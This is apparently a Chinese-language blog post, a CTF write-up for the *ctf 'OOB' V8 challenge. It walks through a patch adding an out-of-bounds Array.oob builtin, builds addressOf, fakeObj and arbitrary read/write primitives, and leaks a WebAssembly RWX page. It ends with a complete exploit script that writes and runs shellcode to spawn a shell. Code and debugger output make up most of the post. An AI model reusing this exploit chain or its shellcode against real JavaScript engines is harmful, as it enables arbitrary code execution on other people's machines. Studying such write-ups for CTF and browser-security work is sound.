关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
*ctf OOB
无
524
0
0
mut3p1g
# 0x01 diff 首先还是看一下`diff`文件,主要修改了这么几个文件: * src/bootstrapper.cc 可以看到,这里添加了一个函数`oob` ``` --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); ``` * src/builtins/builtins-array.cc 这里可以看到,应该是为`Array`增加了一个`oob`的函数,而且这里对函数进行了实现 ``` --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} ``` 那么关键就是分析`Array.oob`这个函数的实现: ``` BUILTIN(ArrayOob){ uint32_t len = args.length(); // 参数的个数 if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); //自定义参数只能有1个,默认self为第一个参数 Handle<JSReceiver> receiver; ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, receiver, Object::ToObject(isolate, args.receiver())); Handle<JSArray> array = Handle<JSArray>::cast(receiver); // 当前数组 FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); // 当前数组的元素 uint32_t length = static_cast<uint32_t>(array->length()->Number()); // 当前数组的长度 if(len == 1){ // 如果没有参数的话 //read return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //越界读一个值返回 }else{ // 有参数的话 //write Handle<Object> value; ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); // 获取参数的值 elements.set(length,value->Number()); // 越界写一个值 return ReadOnlyRoots(isolate).undefined_value(); } } ``` 所以实际上该功能非常的暴力,分别是越界读和越界写: 可以看一下两个操作: ``` V8 version 7.5.0 (candidate) d8> a = [] [] d8> a.oob() 5.05322396624e-312 d8> a.oob(1) Received signal 11 SEGV_ACCERR 00ee22ac0c80 ``` # 0x02 exploit 这里先写个脚本来启动: ``` #!/bin/bash gdb ./d8 \ -ex "r $1 --allow-natives-syntax" ``` ## 1. think 首先看一下读、写的东西是什么, 按照分析应该就是`elements`的后面一个东西,这时我们可以看一下结构: ``` a = [1.1, 2.2]; dp(a); print(dhex(1.1)); print(dhex(2.2)); print(dhex(a.oob())); ``` 那么得到结果如下: ``` 0x3fc7bae40299 <JSArray[2]> 0x3ff199999999999a 0x400199999999999a 0x8713ec02ed9 => pwndbg> x /10xg 0x3fc7bae40299-1-0x20 0x3fc7bae40278: 0x00003aca937414f9 0x0000000200000000[length] 0x3fc7bae40288: 0x3ff199999999999a[1.1] 0x400199999999999a[2.2] 0x3fc7bae40298: 0x000008713ec02ed9[Map] 0x00003aca93740c71 ``` 所以我们泄露出来的地址就是`Map`的地址,那么重新写应该也是它的地址: ``` a.oob(1.1) ``` => ``` pwndbg> x /10xg 0x1a1c7c980298-0x20 0x1a1c7c980278: 0x00002cc6632414f9 0x0000000200000000 0x1a1c7c980288: 0x3ff199999999999a 0x400199999999999a 0x1a1c7c980298: 0x3ff199999999999a[Map] 0x00002cc663240c71 ``` ## 2. leak 那么现在就是要获得某个对象的地址了,现在可以控制数组的`map`。 ![](https://leanote.com/api/file/getImage?fileId=5cd27bbbab64417c7500627d) 那么可以找到一个`float array`的`map`,把`object array`的`map`修改成它的就可以了 这里有个问题,如果写到函数里面就是对`properties`进行操作了..这是为啥 ``` function addressOf(obj_to_leak) { let obj = {}; let victim_array = [1.1, 2.2, 3.3, obj]; // object array float_array = [1.1, 2.2]; dp(float_array); let float_array_map = float_array.oob(); print("map:" + hex(float_array_map)); bp(); victim_array[0] = obj_to_leak; victim_array.oob(float_array_map); return victim_array[0]; } ``` 实现如下: ``` // 1. get float_array_map & object_array_map var buf = new ArrayBuffer(0x200); var dv = new DataView(buf); var a = [1.1]; // float array var b = [dv]; // object array let float_array_map = a.oob(); dprint("float_array_map", hex(float_array_map)); let object_array_map = b.oob(); dprint("object_array_map", hex(object_array_map)); // 2. leak addr of obj_to_leak obj_to_leak = {}; b[0] = obj_to_leak; b.oob(float_array_map); leak_addr = hex(b[0]); dprint("obj_to_leak", leak_addr); ``` ## 3. write 这一步就是给定一个地址,把它解析成一个对象返回就可以了,方法和上面正好相反 首先得伪造一个数组, `aim_addr`为想要进行写的地址 ``` aim_addr = 0x1234; var fake_obj = [ float_array_map, // map 0, // prototype u2d(aim_addr+1, 0), // elements的地址 u2d(0, 0x1000), // 长度 ] ``` 接着把该对象地址泄露后,将其`elements`的地址获得并识别为对象: ``` function fakeObj(addr) { let oarray = a; oarray[0] = addr; oarray.oob(object_array_map); return oarray[0]; } victim = fakeObj(fake_addr); ``` 最后来改写一下 ``` victim[0] = 123; ``` 这时由于地址是不可访问的,所以报错了,证明写成功: ``` [+] float_array_map :0x39aae8902ed9 [+] object_array_map :0x39aae8902f79 [+] fake_addr :0x116611f00839 Received signal 11 SEGV_MAPERR 000000001234 ``` 4. 任意地址读写 现在我们已经有了一个可控的`fake_obj`,那么就可以利用它来完成任意地址读写了: ``` fake_obj +---------------+ | map | | | +---------------+ | prototype | | | fake_float_array +---------------+ | elements +----->+---------------+ | | | map | fake_obj[0] +---------------+ | | | length | +---------------+ | | | prototype | fake_obj[1] +---------------+ | | +---------------+ | elements | fake_obj[2] | +---------------->+-----------+ 0 +---------------+ | map | | length | fake_obj[3] +-----------+ 0x8 +---------------+ | length | +-----------+ 0x10 aim | value | fake_float_array[0] +-----------+ ``` 所以我们就可以通过修改`fake_obj[2]`来篡改`fake_float_array->elements`的地址,最后通过`fake_float_array[0]`来对该地址的值进行读写。 ``` function read64(lo, hi) { fake_obj[2] = u2d(lo + 1 - 0x10, hi); return victim[0]; } function write64(lo, hi, vlo, vhi) { fake_obj[2] = u2d(lo + 1 - 0x10, hi); victim[0] = u2d(vlo, vhi); } write64(0x1234,0x5678,0x2,0x2); ``` 最后也可以看一下效果: ``` write64(0x1234,0x5678,0x2,0x2); => [+] float_array_map :0x2867d8e82ed9 [+] object_array_map :0x2867d8e82f79 [+] fake_addr :0x35a2603c06f9 Received signal 11 SEGV_MAPERR 567800001234 ``` ## 4. getshell 由于v8在6.7之后,`jit`代码不再是`rwx`了,所以只能换种思路来`getshell` 这里的思路就是使用`wasm`,流程如下: 首先进行初始化 ``` let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii; ``` 接着泄露`f`的`shared_info`,接着通过该地址减去0x138,读出里面的地址就是`rwx`的起始地址了,这里就能写`shellcode`并执行了。 把流程过一遍: ``` pwndbg> job 0x2bddaeea2e69 0x2bddaeea2e69: [Function] in OldSpace - map: 0x0c0ac4684379 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bddaee82109 <JSFunction (sfi = 0x376138943b29)> - elements: 0x2161c3fc0c71 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2bddaeea2e31 <SharedFunctionInfo 0> - name: 0x2161c3fc4ae1 <String[#1]: 0> - formal_parameter_count: 2 - kind: NormalFunction - context: 0x2bddaee81869 <NativeContext[246]> - code: 0x27cc1e242001 <Code JS_TO_WASM_FUNCTION> - WASM instance 0x2bddaeea2c71 - WASM function index 0 - properties: 0x2161c3fc0c71 <FixedArray[0]> { #length: 0x3761389404b9 <AccessorInfo> (const accessor descriptor) #name: 0x376138940449 <AccessorInfo> (const accessor descriptor) #arguments: 0x376138940369 <AccessorInfo> (const accessor descriptor) #caller: 0x3761389403d9 <AccessorInfo> (const accessor descriptor) } - feedback vector: not available pwndbg> x /10xg 0x2bddaeea2e68+0x18 0x2bddaeea2e80: 0x00002bddaeea2e31[shared_info] pwndbg> x /10xg 0x00002bddaeea2e31-1-0x138 0x2bddaeea2cf8: 0x00003117f0281000 pwndbg> vmmap 0x00003117f0281000 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x3117f0281000 0x3117f0282000 rwxp 1000 0 ``` 但是这里有个问题,就是用上面的写法需要访问`aim-0x10`,这就导致该地址必须是可访问的,但是在这里`rwx_addr-0x10`是不可访问的,所以需要把该地址+0x10,同时修改`sharedinfo-0x138`。 ## 0x03 exp ``` function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } var f64 = new Float64Array(1); var u32 = new Uint32Array(f64.buffer); function dp(obj){ %DebugPrint(obj); } function bp() { %SystemBreak(); } function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } function uhex(lo, hi) { if( lo == 0 ) { return ("0x" + hi.toString(16) + "00000000"); } if( hi == 0 ) { return ("0x" + lo.toString(16)); } return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8)); } function hex(v) { d = d2u(v); lo = d[0]; hi = d[1]; return uhex(lo, hi); } function debug(arr) { dp(arr); print(hex(arr.oob())); bp(); } function dprint(title, value) { print("[+] " + title + " :" + value); } //gc(); // 1. get float_array_map & object_array_map var buf = new ArrayBuffer(0x200); var dv = new DataView(buf); var a = [1.1]; // float array var b = [dv]; // object array var float_array_map = a.oob(); dprint("float_array_map", hex(float_array_map)); var object_array_map = b.oob(); dprint("object_array_map", hex(object_array_map)); // 2. create fake_obj var fake_obj = [ float_array_map, // map 0, // prototype 0, //elements u2d(0, 0x1000), // length ] // 3. leak addr of fake_obj function leak(obj_to_leak) { let farray = b.slice(); farray[0] = obj_to_leak; farray.oob(float_array_map); return farray[0]; } fake_addr = leak(fake_obj); let u = d2u(fake_addr); fake_addr = u2d(u[0] + 0x30, u[1]); dprint("fake_addr", hex(fake_addr)); // 4. fake object function fakeObj(addr) { let oarray = a.slice(); oarray[0] = addr; oarray.oob(object_array_map); return oarray[0]; } victim = fakeObj(fake_addr); // 5. read/write function read64(lo, hi) { fake_obj[2] = u2d(lo + 1 - 0x10, hi); let read_u = d2u(victim[0]); return [read_u[0] , read_u[1]]; } function write64(lo, hi, vlo, vhi) { fake_obj[2] = u2d(lo + 1 - 0x10, hi); victim[0] = u2d(vlo, vhi); } // 6. leak wasm_addr let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii; wasm_leak = leak(f); dprint("wasm_leak", hex(wasm_leak)); wasm_addr = d2u(wasm_leak); wasm_lo = wasm_addr[0]; wasm_hi = wasm_addr[1]; // 7. leak rwx_addr [sharedinfo_lo, sharedinfo_hi] = read64(wasm_lo-1+0x18, wasm_hi); [rwx_lo, rwx_hi] = read64(sharedinfo_lo-1-0x138, sharedinfo_hi); rwx_lo += 0x10; rwx_addr = u2d(rwx_lo, rwx_hi); dprint("rwx_addr", hex(rwx_addr)); // 8. write shellcode write64(sharedinfo_lo-1-0x138, sharedinfo_hi, rwx_lo, rwx_hi); var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b]; for (let k = 0; k < shellcode.length; k+=2) { write64(rwx_lo + k*4, rwx_hi, shellcode[k], shellcode[k+1]); } // 9. getshell f(); ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.